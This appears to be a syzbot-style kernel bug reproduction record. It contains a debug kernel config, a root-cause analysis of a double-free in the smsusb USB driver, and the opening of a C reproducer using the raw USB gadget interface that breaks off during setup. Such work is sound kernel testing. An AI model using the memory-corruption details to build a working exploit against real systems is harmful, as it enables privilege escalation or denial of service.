# CONFIG_PRIME_NUMBERS is not set
CONFIG_RATIONAL=y
CONFIG_GENERIC_IOMAP=y
CONFIG_ARCH_USE_CMPXCHG_LOCKREF=y
CONFIG_ARCH_HAS_FAST_MULTIPLIER=y
CONFIG_ARCH_USE_SYM_ANNOTATIONS=y
CONFIG_CRC8=y
CONFIG_CRC16=y
CONFIG_CRC_CCITT=y
CONFIG_CRC_ITU_T=y
CONFIG_CRC_T10DIF=y
CONFIG_CRC_T10DIF_ARCH=y
CONFIG_CRC32=y
CONFIG_CRC32_ARCH=y
CONFIG_CRC64=y
CONFIG_CRC64_ARCH=y
CONFIG_CRC_OPTIMIZATIONS=y
CONFIG_CRYPTO_HASH_INFO=y
CONFIG_CRYPTO_LIB_UTILS=y
CONFIG_CRYPTO_LIB_AES=y
CONFIG_CRYPTO_LIB_AES_ARCH=y
CONFIG_CRYPTO_LIB_AES_CBC=y
CONFIG_CRYPTO_LIB_AES_CBC_MACS=y
CONFIG_CRYPTO_LIB_AES_CCM=y
CONFIG_CRYPTO_LIB_AES_CTR=y
CONFIG_CRYPTO_LIB_AES_ECB=y
CONFIG_CRYPTO_LIB_AES_GCM=y
CONFIG_CRYPTO_LIB_AES_XTS=y
CONFIG_CRYPTO_LIB_ARC4=y
CONFIG_CRYPTO_LIB_GF128MUL=y
CONFIG_CRYPTO_LIB_BLAKE2B=y
CONFIG_CRYPTO_LIB_BLAKE2S_ARCH=y
CONFIG_CRYPTO_LIB_CHACHA=y
CONFIG_CRYPTO_LIB_CHACHA_ARCH=y
CONFIG_CRYPTO_LIB_CURVE25519=y
CONFIG_CRYPTO_LIB_CURVE25519_ARCH=y
CONFIG_CRYPTO_LIB_CURVE25519_GENERIC=y
CONFIG_CRYPTO_LIB_DES=y
CONFIG_CRYPTO_LIB_GF128HASH=y
CONFIG_CRYPTO_LIB_GF128HASH_ARCH=y
CONFIG_CRYPTO_LIB_MD5=y
CONFIG_CRYPTO_LIB_MLDSA=y
CONFIG_CRYPTO_LIB_NH=y
CONFIG_CRYPTO_LIB_NH_ARCH=y
CONFIG_CRYPTO_LIB_POLY1305=y
CONFIG_CRYPTO_LIB_POLY1305_ARCH=y
CONFIG_CRYPTO_LIB_POLY1305_GENERIC=y
CONFIG_CRYPTO_LIB_POLY1305_RSIZE=11
CONFIG_CRYPTO_LIB_CHACHA20POLY1305=y
CONFIG_CRYPTO_LIB_SHA1=y
CONFIG_CRYPTO_LIB_SHA1_ARCH=y
CONFIG_CRYPTO_LIB_SHA256=y
CONFIG_CRYPTO_LIB_SHA256_ARCH=y
CONFIG_CRYPTO_LIB_SHA512=y
CONFIG_CRYPTO_LIB_SHA512_ARCH=y
CONFIG_CRYPTO_LIB_SHA3=y
CONFIG_XOR_BLOCKS=y
CONFIG_XOR_BLOCKS_ARCH=y
CONFIG_RAID6_PQ=y
CONFIG_RAID6_PQ_ARCH=y
# CONFIG_RAID6_PQ_BENCHMARK is not set
CONFIG_XXHASH=y
CONFIG_842_COMPRESS=y
CONFIG_842_DECOMPRESS=y
CONFIG_ZLIB_INFLATE=y
CONFIG_ZLIB_DEFLATE=y
CONFIG_LZO_COMPRESS=y
CONFIG_LZO_DECOMPRESS=y
CONFIG_LZ4_COMPRESS=y
CONFIG_LZ4HC_COMPRESS=y
CONFIG_LZ4_DECOMPRESS=y
CONFIG_ZSTD_COMMON=y
CONFIG_ZSTD_COMPRESS=y
CONFIG_ZSTD_DECOMPRESS=y
CONFIG_XZ_DEC=y
CONFIG_XZ_DEC_X86=y
CONFIG_XZ_DEC_POWERPC=y
CONFIG_XZ_DEC_ARM=y
CONFIG_XZ_DEC_ARMTHUMB=y
CONFIG_XZ_DEC_ARM64=y
CONFIG_XZ_DEC_SPARC=y
CONFIG_XZ_DEC_RISCV=y
# CONFIG_XZ_DEC_MICROLZMA is not set
CONFIG_XZ_DEC_BCJ=y
# CONFIG_XZ_DEC_TEST is not set
CONFIG_DECOMPRESS_GZIP=y
CONFIG_DECOMPRESS_BZIP2=y
CONFIG_DECOMPRESS_LZMA=y
CONFIG_DECOMPRESS_XZ=y
CONFIG_DECOMPRESS_LZO=y
CONFIG_DECOMPRESS_LZ4=y
CONFIG_DECOMPRESS_ZSTD=y
CONFIG_GENERIC_ALLOCATOR=y
CONFIG_REED_SOLOMON=y
CONFIG_REED_SOLOMON_DEC8=y
CONFIG_TEXTSEARCH=y
CONFIG_TEXTSEARCH_KMP=y
CONFIG_TEXTSEARCH_BM=y
CONFIG_TEXTSEARCH_FSM=y
CONFIG_INTERVAL_TREE=y
CONFIG_INTERVAL_TREE_SPAN_ITER=y
CONFIG_XARRAY_MULTI=y
CONFIG_ASSOCIATIVE_ARRAY=y
CONFIG_CLOSURES=y
CONFIG_HAS_IOMEM=y
CONFIG_HAS_IOPORT=y
CONFIG_HAS_IOPORT_MAP=y
CONFIG_HAS_DMA=y
CONFIG_DMA_OPS_HELPERS=y
CONFIG_NEED_SG_DMA_FLAGS=y
CONFIG_NEED_SG_DMA_LENGTH=y
CONFIG_NEED_DMA_MAP_STATE=y
CONFIG_ARCH_DMA_ADDR_T_64BIT=y
CONFIG_DMA_DECLARE_COHERENT=y
CONFIG_SWIOTLB=y
CONFIG_SWIOTLB_DEFAULT_SIZE_MB=64
# CONFIG_SWIOTLB_DYNAMIC is not set
CONFIG_DMA_NEED_SYNC=y
# CONFIG_DMA_RESTRICTED_POOL is not set
CONFIG_DMA_CMA=y
# CONFIG_DMA_NUMA_CMA is not set

#
# Default contiguous memory area size:
#
CONFIG_CMA_SIZE_MBYTES=0
CONFIG_CMA_SIZE_PERCENTAGE=0
# CONFIG_CMA_SIZE_SEL_MBYTES is not set
# CONFIG_CMA_SIZE_SEL_PERCENTAGE is not set
# CONFIG_CMA_SIZE_SEL_MIN is not set
CONFIG_CMA_SIZE_SEL_MAX=y
CONFIG_CMA_ALIGNMENT=8
# CONFIG_DMA_API_DEBUG is not set
# CONFIG_DMA_MAP_BENCHMARK is not set
CONFIG_SGL_ALLOC=y
CONFIG_CHECK_SIGNATURE=y
# CONFIG_CPUMASK_OFFSTACK is not set
CONFIG_CPU_RMAP=y
CONFIG_DQL=y
CONFIG_GLOB=y
CONFIG_NLATTR=y
CONFIG_CLZ_TAB=y
CONFIG_IRQ_POLL=y
CONFIG_MPILIB=y
CONFIG_SIGNATURE=y
CONFIG_DIMLIB=y
CONFIG_LIBFDT=y
CONFIG_OID_REGISTRY=y
CONFIG_VDSO_DATASTORE=y
CONFIG_GENERIC_GETTIMEOFDAY=y
CONFIG_GENERIC_VDSO_OVERFLOW_PROTECT=y
CONFIG_VDSO_GETRANDOM=y
CONFIG_FONT_SUPPORT=y
# CONFIG_FONTS is not set
CONFIG_FONT_8x8=y
CONFIG_FONT_8x16=y
CONFIG_SG_POOL=y
CONFIG_ARCH_HAS_PMEM_API=y
CONFIG_MEMREGION=y
CONFIG_ARCH_HAS_CPU_CACHE_INVALIDATE_MEMREGION=y
CONFIG_ARCH_HAS_UACCESS_FLUSHCACHE=y
CONFIG_ARCH_HAS_COPY_MC=y
CONFIG_ARCH_STACKWALK=y
CONFIG_STACKDEPOT=y
CONFIG_STACKDEPOT_ALWAYS_INIT=y
CONFIG_STACKDEPOT_MAX_FRAMES=64
CONFIG_REF_TRACKER=y
CONFIG_SBITMAP=y
# CONFIG_LWQ_TEST is not set
# end of Library routines

CONFIG_FIRMWARE_TABLE=y
CONFIG_UNION_FIND=y

#
# Kernel hacking
#

#
# printk and dmesg options
#
CONFIG_PRINTK_TIME=y
CONFIG_PRINTK_CALLER=y
# CONFIG_STACKTRACE_BUILD_ID is not set
CONFIG_CONSOLE_LOGLEVEL_DEFAULT=7
CONFIG_CONSOLE_LOGLEVEL_QUIET=4
CONFIG_MESSAGE_LOGLEVEL_DEFAULT=4
# CONFIG_BOOT_PRINTK_DELAY is not set
CONFIG_DYNAMIC_DEBUG=y
CONFIG_DYNAMIC_DEBUG_CORE=y
CONFIG_SYMBOLIC_ERRNAME=y
CONFIG_DEBUG_BUGVERBOSE=y
CONFIG_DEBUG_BUGVERBOSE_DETAILED=y
# end of printk and dmesg options

CONFIG_DEBUG_KERNEL=y
CONFIG_DEBUG_MISC=y

#
# Compile-time checks and compiler options
#
CONFIG_DEBUG_INFO=y
CONFIG_AS_HAS_NON_CONST_ULEB128=y
# CONFIG_DEBUG_INFO_NONE is not set
# CONFIG_DEBUG_INFO_DWARF_TOOLCHAIN_DEFAULT is not set
CONFIG_DEBUG_INFO_DWARF4=y
# CONFIG_DEBUG_INFO_DWARF5 is not set
# CONFIG_DEBUG_INFO_REDUCED is not set
CONFIG_DEBUG_INFO_COMPRESSED_NONE=y
# CONFIG_DEBUG_INFO_COMPRESSED_ZLIB is not set
# CONFIG_DEBUG_INFO_COMPRESSED_ZSTD is not set
# CONFIG_DEBUG_INFO_SPLIT is not set
# CONFIG_DEBUG_INFO_BTF is not set
CONFIG_PAHOLE_HAS_BTF_TAG=y
CONFIG_PAHOLE_HAS_LANG_EXCLUDE=y
# CONFIG_GDB_SCRIPTS is not set
CONFIG_FRAME_WARN=2048
# CONFIG_STRIP_ASM_SYMS is not set
# CONFIG_HEADERS_INSTALL is not set
CONFIG_SECTION_MISMATCH_WARN_ONLY=y
# CONFIG_DEBUG_FORCE_FUNCTION_ALIGN_64B is not set
CONFIG_OBJTOOL=y
# CONFIG_OBJTOOL_WERROR is not set
CONFIG_NOINSTR_VALIDATION=y
# CONFIG_VMLINUX_MAP is not set
# end of Compile-time checks and compiler options

#
# Generic Kernel Debugging Instruments
#
# CONFIG_MAGIC_SYSRQ is not set
CONFIG_DEBUG_FS=y
CONFIG_DEBUG_FS_ALLOW_ALL=y
# CONFIG_DEBUG_FS_ALLOW_NONE is not set
CONFIG_HAVE_ARCH_KGDB=y
# CONFIG_KGDB is not set
CONFIG_ARCH_HAS_UBSAN=y
CONFIG_UBSAN=y
# CONFIG_UBSAN_TRAP is not set
CONFIG_CC_HAS_UBSAN_ARRAY_BOUNDS=y
CONFIG_UBSAN_BOUNDS=y
CONFIG_UBSAN_ARRAY_BOUNDS=y
CONFIG_UBSAN_SHIFT=y
# CONFIG_UBSAN_BOOL is not set
# CONFIG_UBSAN_ENUM is not set
# CONFIG_UBSAN_ALIGNMENT is not set
# CONFIG_TEST_UBSAN is not set
CONFIG_HAVE_ARCH_KCSAN=y
CONFIG_HAVE_KCSAN_COMPILER=y
# end of Generic Kernel Debugging Instruments

#
# Networking Debugging
#
CONFIG_NET_DEV_REFCNT_TRACKER=y
CONFIG_NET_NS_REFCNT_TRACKER=y
CONFIG_DEBUG_NET=y
# CONFIG_DEBUG_NET_SMALL_RTNL is not set
# end of Networking Debugging

#
# Memory Debugging
#
CONFIG_PAGE_EXTENSION=y
# CONFIG_DEBUG_PAGEALLOC is not set
CONFIG_SLUB_DEBUG=y
# CONFIG_SLUB_DEBUG_ON is not set
CONFIG_SLUB_RCU_DEBUG=y
CONFIG_PAGE_OWNER=y
CONFIG_PAGE_TABLE_CHECK=y
CONFIG_PAGE_TABLE_CHECK_ENFORCED=y
CONFIG_PAGE_POISONING=y
# CONFIG_DEBUG_PAGE_REF is not set
# CONFIG_DEBUG_RODATA_TEST is not set
CONFIG_ARCH_HAS_DEBUG_WX=y
CONFIG_DEBUG_WX=y
CONFIG_ARCH_HAS_PTDUMP=y
CONFIG_PTDUMP=y
CONFIG_PTDUMP_DEBUGFS=y
CONFIG_HAVE_DEBUG_KMEMLEAK=y
# CONFIG_DEBUG_KMEMLEAK is not set
# CONFIG_PER_VMA_LOCK_STATS is not set
# CONFIG_MEM_ALLOC_PROFILING is not set
CONFIG_DEBUG_OBJECTS=y
# CONFIG_DEBUG_OBJECTS_SELFTEST is not set
CONFIG_DEBUG_OBJECTS_FREE=y
CONFIG_DEBUG_OBJECTS_TIMERS=y
CONFIG_DEBUG_OBJECTS_WORK=y
CONFIG_DEBUG_OBJECTS_RCU_HEAD=y
CONFIG_DEBUG_OBJECTS_PERCPU_COUNTER=y
CONFIG_DEBUG_OBJECTS_ENABLE_DEFAULT=1
# CONFIG_SHRINKER_DEBUG is not set
CONFIG_DEBUG_STACK_USAGE=y
CONFIG_SCHED_STACK_END_CHECK=y
CONFIG_ARCH_HAS_DEBUG_VM_PGTABLE=y
CONFIG_DEBUG_VFS=y
CONFIG_DEBUG_VM_IRQSOFF=y
CONFIG_DEBUG_VM=y
CONFIG_DEBUG_VM_MAPLE_TREE=y
CONFIG_DEBUG_VM_RB=y
CONFIG_DEBUG_VM_PGFLAGS=y
CONFIG_DEBUG_VM_PGTABLE=y
CONFIG_ARCH_HAS_DEBUG_VIRTUAL=y
CONFIG_DEBUG_VIRTUAL=y
CONFIG_DEBUG_MEMORY_INIT=y
CONFIG_DEBUG_PER_CPU_MAPS=y
CONFIG_DEBUG_KMAP_LOCAL=y
CONFIG_ARCH_SUPPORTS_KMAP_LOCAL_FORCE_MAP=y
CONFIG_DEBUG_KMAP_LOCAL_FORCE_MAP=y
CONFIG_HAVE_ARCH_KASAN=y
CONFIG_HAVE_ARCH_KASAN_VMALLOC=y
CONFIG_CC_HAS_KASAN_GENERIC=y
CONFIG_CC_HAS_KASAN_SW_TAGS=y
CONFIG_CC_HAS_WORKING_NOSANITIZE_ADDRESS=y
CONFIG_KASAN=y
CONFIG_CC_HAS_KASAN_MEMINTRINSIC_PREFIX=y
CONFIG_KASAN_GENERIC=y
# CONFIG_KASAN_OUTLINE is not set
CONFIG_KASAN_INLINE=y
CONFIG_KASAN_STACK=y
CONFIG_KASAN_VMALLOC=y
# CONFIG_KASAN_EXTRA_INFO is not set
CONFIG_HAVE_ARCH_KFENCE=y
CONFIG_KFENCE=y
CONFIG_KFENCE_SAMPLE_INTERVAL=100
CONFIG_KFENCE_NUM_OBJECTS=255
# CONFIG_KFENCE_DEFERRABLE is not set
CONFIG_KFENCE_STATIC_KEYS=y
CONFIG_KFENCE_STRESS_TEST_FAULTS=0
CONFIG_HAVE_ARCH_KMSAN=y
CONFIG_HAVE_KMSAN_COMPILER=y
# end of Memory Debugging

# CONFIG_DEBUG_SHIRQ is not set

#
# Debug Oops, Lockups and Hangs
#
CONFIG_PANIC_ON_OOPS=y
CONFIG_PANIC_TIMEOUT=86400
CONFIG_LOCKUP_DETECTOR=y
CONFIG_SOFTLOCKUP_DETECTOR=y
# CONFIG_SOFTLOCKUP_DETECTOR_INTR_STORM is not set
CONFIG_BOOTPARAM_SOFTLOCKUP_PANIC=1
CONFIG_HAVE_HARDLOCKUP_DETECTOR_BUDDY=y
CONFIG_HARDLOCKUP_DETECTOR=y
# CONFIG_HARDLOCKUP_DETECTOR_PREFER_BUDDY is not set
CONFIG_HARDLOCKUP_DETECTOR_PERF=y
# CONFIG_HARDLOCKUP_DETECTOR_BUDDY is not set
# CONFIG_HARDLOCKUP_DETECTOR_ARCH is not set
CONFIG_HARDLOCKUP_DETECTOR_COUNTS_HRTIMER=y
CONFIG_HARDLOCKUP_CHECK_TIMESTAMP=y
CONFIG_BOOTPARAM_HARDLOCKUP_PANIC=y
CONFIG_DETECT_HUNG_TASK=y
CONFIG_DEFAULT_HUNG_TASK_TIMEOUT=140
CONFIG_BOOTPARAM_HUNG_TASK_PANIC=1
# CONFIG_DETECT_HUNG_TASK_BLOCKER is not set
CONFIG_WQ_WATCHDOG=y
CONFIG_BOOTPARAM_WQ_STALL_PANIC=0
# CONFIG_WQ_CPU_INTENSIVE_REPORT is not set
# CONFIG_TEST_CSD_LOCK is not set
# CONFIG_TEST_LOCKUP is not set
# end of Debug Oops, Lockups and Hangs

#
# Scheduler Debugging
#
CONFIG_SCHED_INFO=y
CONFIG_SCHEDSTATS=y
# end of Scheduler Debugging

CONFIG_DEBUG_PREEMPT=y
# CONFIG_DEBUG_ATOMIC is not set

#
# Lock Debugging (spinlocks, mutexes, etc...)
#
CONFIG_LOCK_DEBUGGING_SUPPORT=y
CONFIG_PROVE_LOCKING=y
CONFIG_PROVE_RAW_LOCK_NESTING=y
# CONFIG_LOCK_STAT is not set
CONFIG_DEBUG_RT_MUTEXES=y
CONFIG_DEBUG_SPINLOCK=y
CONFIG_DEBUG_MUTEXES=y
CONFIG_DEBUG_WW_MUTEX_SLOWPATH=y
CONFIG_DEBUG_RWSEMS=y
CONFIG_DEBUG_LOCK_ALLOC=y
CONFIG_LOCKDEP=y
CONFIG_LOCKDEP_BITS=20
CONFIG_LOCKDEP_CHAINS_BITS=20
CONFIG_LOCKDEP_STACK_TRACE_BITS=20
CONFIG_LOCKDEP_STACK_TRACE_HASH_BITS=14
CONFIG_LOCKDEP_CIRCULAR_QUEUE_BITS=12
# CONFIG_DEBUG_LOCKDEP is not set
CONFIG_DEBUG_ATOMIC_SLEEP=y
# CONFIG_DEBUG_LOCKING_API_SELFTESTS is not set
# CONFIG_LOCK_TORTURE_TEST is not set
# CONFIG_WW_MUTEX_SELFTEST is not set
# CONFIG_SCF_TORTURE_TEST is not set
CONFIG_CSD_LOCK_WAIT_DEBUG=y
# CONFIG_CSD_LOCK_WAIT_DEBUG_DEFAULT is not set
# end of Lock Debugging (spinlocks, mutexes, etc...)

CONFIG_TRACE_IRQFLAGS=y
CONFIG_TRACE_IRQFLAGS_NMI=y
CONFIG_NMI_CHECK_CPU=y
CONFIG_DEBUG_IRQFLAGS=y
CONFIG_STACKTRACE=y
# CONFIG_DEBUG_KOBJECT is not set
# CONFIG_DEBUG_KOBJECT_RELEASE is not set

#
# Debug kernel data structures
#
CONFIG_DEBUG_LIST=y
CONFIG_DEBUG_PLIST=y
CONFIG_DEBUG_SG=y
CONFIG_DEBUG_NOTIFIERS=y
# CONFIG_DEBUG_CLOSURES is not set
CONFIG_DEBUG_MAPLE_TREE=y
# end of Debug kernel data structures

#
# RCU Debugging
#
CONFIG_PROVE_RCU=y
# CONFIG_RCU_SCALE_TEST is not set
# CONFIG_RCU_TORTURE_TEST is not set
# CONFIG_RCU_REF_SCALE_TEST is not set
CONFIG_RCU_CPU_STALL_TIMEOUT=100
CONFIG_RCU_EXP_CPU_STALL_TIMEOUT=0
# CONFIG_RCU_CPU_STALL_CPUTIME is not set
# CONFIG_RCU_TRACE is not set
CONFIG_RCU_EQS_DEBUG=y
# end of RCU Debugging

# CONFIG_DEBUG_WQ_FORCE_RR_CPU is not set
# CONFIG_CPU_HOTPLUG_STATE_CONTROL is not set
# CONFIG_LATENCYTOP is not set
CONFIG_USER_STACKTRACE_SUPPORT=y
CONFIG_NOP_TRACER=y
CONFIG_HAVE_RETHOOK=y
CONFIG_HAVE_FUNCTION_TRACER=y
CONFIG_HAVE_DYNAMIC_FTRACE=y
CONFIG_HAVE_DYNAMIC_FTRACE_WITH_REGS=y
CONFIG_HAVE_DYNAMIC_FTRACE_WITH_DIRECT_CALLS=y
CONFIG_HAVE_DYNAMIC_FTRACE_WITH_ARGS=y
CONFIG_HAVE_FTRACE_REGS_HAVING_PT_REGS=y
CONFIG_HAVE_DYNAMIC_FTRACE_NO_PATCHABLE=y
CONFIG_HAVE_DYNAMIC_FTRACE_WITH_JMP=y
CONFIG_HAVE_SYSCALL_TRACEPOINTS=y
CONFIG_HAVE_FENTRY=y
CONFIG_HAVE_OBJTOOL_MCOUNT=y
CONFIG_HAVE_OBJTOOL_NOP_MCOUNT=y
CONFIG_HAVE_C_RECORDMCOUNT=y
CONFIG_HAVE_BUILDTIME_MCOUNT_SORT=y
CONFIG_TRACE_CLOCK=y
CONFIG_RING_BUFFER=y
CONFIG_EVENT_TRACING=y
CONFIG_CONTEXT_SWITCH_TRACER=y
CONFIG_PREEMPTIRQ_TRACEPOINTS=y
CONFIG_TRACING=y
CONFIG_GENERIC_TRACER=y
CONFIG_TRACING_SUPPORT=y
CONFIG_FTRACE=y
CONFIG_TRACEFS_AUTOMOUNT_DEPRECATED=y
# CONFIG_BOOTTIME_TRACING is not set
# CONFIG_FUNCTION_TRACER is not set
# CONFIG_STACK_TRACER is not set
# CONFIG_IRQSOFF_TRACER is not set
# CONFIG_PREEMPT_TRACER is not set
# CONFIG_SCHED_TRACER is not set
# CONFIG_HWLAT_TRACER is not set
# CONFIG_OSNOISE_TRACER is not set
# CONFIG_TIMERLAT_TRACER is not set
# CONFIG_MMIOTRACE is not set
# CONFIG_FTRACE_SYSCALLS is not set
# CONFIG_TRACER_SNAPSHOT is not set
CONFIG_BRANCH_PROFILE_NONE=y
# CONFIG_PROFILE_ANNOTATED_BRANCHES is not set
CONFIG_BLK_DEV_IO_TRACE=y
# CONFIG_PROBE_EVENTS_DUMP_FETCHARG is not set
CONFIG_UPROBE_EVENTS=y
CONFIG_EPROBE_EVENTS=y
CONFIG_BPF_EVENTS=y
CONFIG_DYNAMIC_EVENTS=y
CONFIG_PROBE_EVENTS=y
# CONFIG_SYNTH_EVENTS is not set
# CONFIG_USER_EVENTS is not set
# CONFIG_HIST_TRIGGERS is not set
CONFIG_TRACE_EVENT_INJECT=y
# CONFIG_TRACEPOINT_BENCHMARK is not set
# CONFIG_RING_BUFFER_BENCHMARK is not set
# CONFIG_TRACE_EVAL_MAP_FILE is not set
# CONFIG_FTRACE_STARTUP_TEST is not set
# CONFIG_RING_BUFFER_STARTUP_TEST is not set
CONFIG_RING_BUFFER_VALIDATE_TIME_DELTAS=y
# CONFIG_RING_BUFFER_PERSISTENT_INJECT is not set
# CONFIG_PREEMPTIRQ_DELAY_TEST is not set
# CONFIG_RV is not set
# CONFIG_TRACE_REMOTE_TEST is not set
CONFIG_PROVIDE_OHCI1394_DMA_INIT=y
# CONFIG_SAMPLES is not set
CONFIG_HAVE_SAMPLE_FTRACE_DIRECT=y
CONFIG_HAVE_SAMPLE_FTRACE_DIRECT_MULTI=y
CONFIG_ARCH_HAS_DEVMEM_IS_ALLOWED=y
# CONFIG_STRICT_DEVMEM is not set

#
# x86 Debugging
#
CONFIG_EARLY_PRINTK_USB=y
CONFIG_X86_VERBOSE_BOOTUP=y
CONFIG_EARLY_PRINTK=y
CONFIG_EARLY_PRINTK_DBGP=y
# CONFIG_EARLY_PRINTK_USB_XDBC is not set
# CONFIG_DEBUG_TLBFLUSH is not set
CONFIG_HAVE_MMIOTRACE_SUPPORT=y
# CONFIG_X86_DECODER_SELFTEST is not set
CONFIG_IO_DELAY_0X80=y
# CONFIG_IO_DELAY_0XED is not set
# CONFIG_IO_DELAY_UDELAY is not set
# CONFIG_IO_DELAY_NONE is not set
CONFIG_DEBUG_BOOT_PARAMS=y
# CONFIG_CPA_DEBUG is not set
CONFIG_DEBUG_ENTRY=y
# CONFIG_DEBUG_NMI_SELFTEST is not set
CONFIG_X86_DEBUG_FPU=y
# CONFIG_PUNIT_ATOM_DEBUG is not set
CONFIG_UNWINDER_ORC=y
# CONFIG_UNWINDER_FRAME_POINTER is not set
# end of x86 Debugging

#
# Kernel Testing and Coverage
#
# CONFIG_KUNIT is not set
# CONFIG_NOTIFIER_ERROR_INJECTION is not set
CONFIG_FAULT_INJECTION=y
CONFIG_FAILSLAB=y
CONFIG_FAIL_PAGE_ALLOC=y
CONFIG_FAULT_INJECTION_USERCOPY=y
CONFIG_FAIL_MAKE_REQUEST=y
CONFIG_FAIL_IO_TIMEOUT=y
CONFIG_FAIL_FUTEX=y
CONFIG_FAULT_INJECTION_DEBUG_FS=y
# CONFIG_FAIL_MMC_REQUEST is not set
# CONFIG_FAIL_SKB_REALLOC is not set
CONFIG_FAULT_INJECTION_CONFIGFS=y
# CONFIG_FAULT_INJECTION_STACKTRACE_FILTER is not set
CONFIG_ARCH_HAS_KCOV=y
CONFIG_KCOV=y
CONFIG_KCOV_ENABLE_COMPARISONS=y
CONFIG_KCOV_INSTRUMENT_ALL=y
CONFIG_KCOV_IRQ_AREA_SIZE=0x40000
# CONFIG_KCOV_SELFTEST is not set
CONFIG_RUNTIME_TESTING_MENU=y
# CONFIG_TEST_DHRY is not set
# CONFIG_LKDTM is not set
# CONFIG_TEST_DIV64 is not set
# CONFIG_TEST_MULDIV64 is not set
# CONFIG_BACKTRACE_SELF_TEST is not set
# CONFIG_TEST_REF_TRACKER is not set
# CONFIG_RBTREE_TEST is not set
# CONFIG_REED_SOLOMON_TEST is not set
# CONFIG_INTERVAL_TREE_TEST is not set
# CONFIG_PERCPU_TEST is not set
# CONFIG_ATOMIC64_SELFTEST is not set
# CONFIG_ASYNC_RAID6_TEST is not set
# CONFIG_TEST_HEXDUMP is not set
# CONFIG_TEST_KSTRTOX is not set
# CONFIG_TEST_BITMAP is not set
# CONFIG_TEST_XARRAY is not set
# CONFIG_TEST_MAPLE_TREE is not set
# CONFIG_TEST_RHASHTABLE is not set
# CONFIG_TEST_IDA is not set
# CONFIG_TEST_LKM is not set
# CONFIG_TEST_BITOPS is not set
# CONFIG_TEST_VMALLOC is not set
# CONFIG_TEST_WORKQUEUE is not set
# CONFIG_TEST_BPF is not set
# CONFIG_FIND_BIT_BENCHMARK is not set
# CONFIG_REGION_ALLOC_BENCHMARK is not set
# CONFIG_FIND_BIT_BENCHMARK_RUST is not set
# CONFIG_TEST_FIRMWARE is not set
# CONFIG_TEST_SYSCTL is not set
# CONFIG_CONTEXT_ANALYSIS_TEST is not set
# CONFIG_TEST_UDELAY is not set
# CONFIG_TEST_STATIC_KEYS is not set
# CONFIG_TEST_DYNAMIC_DEBUG is not set
# CONFIG_TEST_KMOD is not set
# CONFIG_TEST_KALLSYMS is not set
# CONFIG_TEST_DEBUG_VIRTUAL is not set
# CONFIG_TEST_MEMCAT_P is not set
# CONFIG_TEST_MEMINIT is not set
# CONFIG_TEST_HMM is not set
# CONFIG_TEST_FREE_PAGES is not set
# CONFIG_TEST_CLOCKSOURCE_WATCHDOG is not set
# CONFIG_TEST_OBJPOOL is not set
CONFIG_ARCH_USE_MEMTEST=y
# CONFIG_MEMTEST is not set
# end of Kernel Testing and Coverage

#
# Rust hacking
#
CONFIG_RUST_DEBUG_ASSERTIONS=y
CONFIG_RUST_OVERFLOW_CHECKS=y
CONFIG_RUST_BUILD_ASSERT_ALLOW=y
# CONFIG_RUST_INLINE_HELPERS is not set
# end of Rust hacking
# end of Kernel hacking

CONFIG_IO_URING_ZCRX=y
CONFIG_IO_URING_BPF=y
KernelConfigManager ci-upstream-rust-kasan-gce
KernelRepo git://git.kernel.org/pub/scm/linux/kernel/git/next/linux-next.git
ReproCID 0
ReproOpts
ReproSyzID 0
SyzkallerCommit 1e72964b0111319984575e60f266d1fa0a98abb5
TargetArch amd64
TargetOS linux

Outputs:
Reproduced ✅
EquivalenceAnalysis
The reproducer successfully triggered the target bug. Although the crash signatures differ (the original report shows a `KASAN: invalid-free in usb_free_urb`, while the reproducer triggers a `WARNING: mm/slub.c:6724 at free_large_kmalloc`), they represent the exact same underlying root cause.

### Root Cause Analysis
1. During device initialization (`smsusb_init_device`), `smscore_register_device` allocates a large contiguous buffer (`common_buffer`) using `kzalloc`. Given `MAX_BUFFERS` (50) and `USB1_BUFFER_SIZE` (4096), this allocation is 204800 bytes, which is satisfied via the page allocator as a large kmalloc.
2. `smsusb_submit_urb` assigns interior pointers from this `common_buffer` to `urb->transfer_buffer` and incorrectly sets the `URB_FREE_BUFFER` flag.
3. If `usb_submit_urb` fails, the driver enters the error path and calls `smsusb_term_device`.
4. `smsusb_term_device` first calls `smscore_unregister_device`, which frees the entire `common_buffer` via `kfree()`.
5. Subsequently, `smsusb_term_device` iterates over the URBs and calls `usb_free_urb()`. Because `URB_FREE_BUFFER` is set, the USB core attempts to `kfree(urb->transfer_buffer)`.
6. This results in a second `kfree()` on an interior pointer of the already-freed `common_buffer`.

### Crash Signature Equivalence
- **Original syzbot report**: Between the first free of `common_buffer` and the second free of the interior pointer, the freed pages were reallocated by another subsystem (an `skb` allocation in `netdevsim`) as a `kmalloc-4k` SLAB page. When `usb_free_urb` called `kfree()`, the memory manager saw the page as a valid SLAB page and routed the free to `slab_free()`. KASAN intercepted this and correctly identified it as an `invalid-free` because the pointer was an interior pointer relative to the new SLAB objects.
- **Reproducer run**: The race window is small, and the freed pages were not reallocated as a SLAB page before the second free. When `usb_free_urb` calls `kfree()`, the memory manager sees it is not a SLAB page and routes it to `free_large_kmalloc()`. Since the page was already freed, the `PG_large_kmalloc` flag was cleared, triggering the `WARN_ON_ONCE(!PageLargeKmalloc(page))` in `free_large_kmalloc()`.

Both crashes are manifestations of the exact same double-free / invalid-free bug caused by the erroneous `URB_FREE_BUFFER` flag.
OtherCrashReports
ReproC
#define _GNU_SOURCE
#include <endian.h>
#include <fcntl.h>
#include <linux/usb/ch9.h>
#include <linux/usb/raw_gadget.h>
#include <pthread.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>
#include <dirent.h>
#include <errno.h>

#define UDC_NAME_LENGTH_MAX 128

static int fd;

static void usb_raw_init(void)
{
	fd = open("/dev/raw-gadget", O_RDWR);
	if (fd < 0) {
		printf("[-] open /dev/raw-gadget failed: %s\n", strerror(errno));
		exit(1);
	}

	DIR *dir = opendir("/sys/class/udc");
	if (!dir) {
		printf("[-] Failed to open /sys/class/udc: %s\n", strerror(errno));
		exit(1);
	}

	struct dirent *entry;
	char udc_name[UDC_NAME_LENGTH_MAX] = {0};
	while ((entry = readdir(dir)) != NULL) {
		if (entry->d_name[0] != '.') {
			strncpy(udc_name, entry->d_name, UDC_NAME_LENGTH_MAX - 1);
			break;
		}
	}
	closedir(dir);

	if (strlen(udc_name) == 0) {
		printf("[-] No UDC found in /sys/class/udc\n");
		exit(1);
	}
	printf("[+] Found UDC: %s\n", udc_name);

	struct usb_raw_init init;
	memset(&init, 0, sizeof(init));
	if (strstr(udc_name, "dummy") != NULL) {
